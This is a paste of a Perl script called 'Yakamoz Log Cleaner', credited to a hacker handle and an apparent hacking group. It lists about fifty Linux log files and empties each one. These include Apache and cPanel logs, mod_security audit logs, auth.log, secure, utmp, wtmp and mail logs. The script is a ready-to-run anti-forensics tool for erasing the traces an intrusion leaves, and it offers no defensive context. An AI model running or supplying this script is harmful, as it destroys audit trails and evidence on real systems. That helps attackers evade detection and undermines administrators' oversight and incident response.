SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/perl | |
2 | # | |
3 | # --------------------------------- | |
4 | # Yakamoz Log Cleaner | |
5 | # Licence : Linux | |
6 | # --------------------------------- | |
7 | # | |
8 | # Title : Yakamoz Log Cleaner V.1.0 | |
9 | # Code : Perl | |
10 | # Author: Bl4ck.Viper | |
11 | # Email : [email protected] | |
12 | # Date : 7/9/2011 | |
13 | # Home : TBH Security Center | |
14 | # Thanks: TBH , H4ckcity , NOPO , Pentesters (Cru3l.B0y) | |
15 | #-----------------------------------------------------------------# | |
16 | system ("clear"); | |
17 | print "\t\t\tYakamoz Log Cleaner\n"; | |
18 | print "\t\t\tCoded By Bl4ck.Viper\n"; | |
19 | print "\t\t\tTBH Security Center\n"; | |
20 | sleep (1); | |
21 | print "\n"; | |
22 | print "\tStarting ...\n"; | |
23 | @logs = ('/etc/httpd/logs/access_log', | |
24 | '/etc/httpd/logs/access_log.1', | |
25 | '/etc/httpd/logs/access_log.2', | |
26 | '/etc/httpd/logs/access_log.3', | |
27 | '/etc/httpd/logs/access_log.4', | |
28 | '/etc/httpd/logs/error_log', | |
29 | '/etc/httpd/logs/error_log.1', | |
30 | '/etc/httpd/logs/error_log.2', | |
31 | '/etc/httpd/logs/error_log.3', | |
32 | '/etc/httpd/logs/error_log.4', | |
33 | '/usr/local/apache/logs/error_log', | |
34 | '/usr/local/apache/logs/suexec_log', | |
35 | '/etc/httpd/logs/modsec_audit.log', | |
36 | '/etc/httpd/logs/modsec_debug.log', | |
37 | '/var/log/httpd/error_log', | |
38 | '/var/log/apache2/error.log', | |
39 | '/var/log/httpd-error.log', | |
40 | '/usr/local/cpanel/logs/error_log', | |
41 | '/usr/local/cpanel/logs/license_log', | |
42 | '/usr/local/cpanel/logs/stats_log', | |
43 | '/usr/local/cpanel/logs/access_log', | |
44 | '/var/log/auth.log', | |
45 | '/var/log/kern.log', | |
46 | '/var/log/cron.log', | |
47 | '/var/log/boot.log', | |
48 | '/var/log/mysqld.log', | |
49 | '/var/log/secure', | |
50 | '/var/log/utmp', | |
51 | '/var/log/wtmp', | |
52 | '/var/log/yum.log', | |
53 | '/var/log/Xorg.0.log', | |
54 | '/var/log/wvdialconf.log', | |
55 | '/var/log/user.log', | |
56 | '/var/log/pycentral.log', | |
57 | '/var/log/mail.log', | |
58 | '/var/log/apport.log', | |
59 | '/var/log/auth.log', | |
60 | '/var/bootstrap.log', | |
61 | '/var/log/daemon.log', | |
62 | '/var/log/dpkg.log', | |
63 | '/var/log/fontconfig.log', | |
64 | '/var/log/lpr.log', | |
65 | '/var/log/chkservd.log', | |
66 | '/var/log/exim_mainlog', | |
67 | '/var/log/exim/mainlog', | |
68 | '/var/log/exim_rejectlog', | |
69 | '/var/log/exim/rejectlog', | |
70 | '/var/log/maillog', | |
71 | '/var/log/messages', | |
72 | '/usr/local/apache/domlogs/ftpxferlog', | |
73 | '/var/log/xferlog', | |
74 | '/var/log/nctfpd.errs', | |
75 | '/var/log/httpsd/ssl.access_log', | |
76 | '/var/log/ncftpd/misclog.txt', | |
77 | '/var/log/nctfpd.errs'); | |
78 | ||
79 | foreach $log(@logs){ | |
80 | ||
81 | open (LOG, ">$log"); | |
82 | print LOG ""; | |
83 | close (LOG); | |
84 | print STDOUT "+"; | |
85 | }; | |
86 | print "\n\n"; | |
87 | print "Finish\n"; | |
88 | exit(); |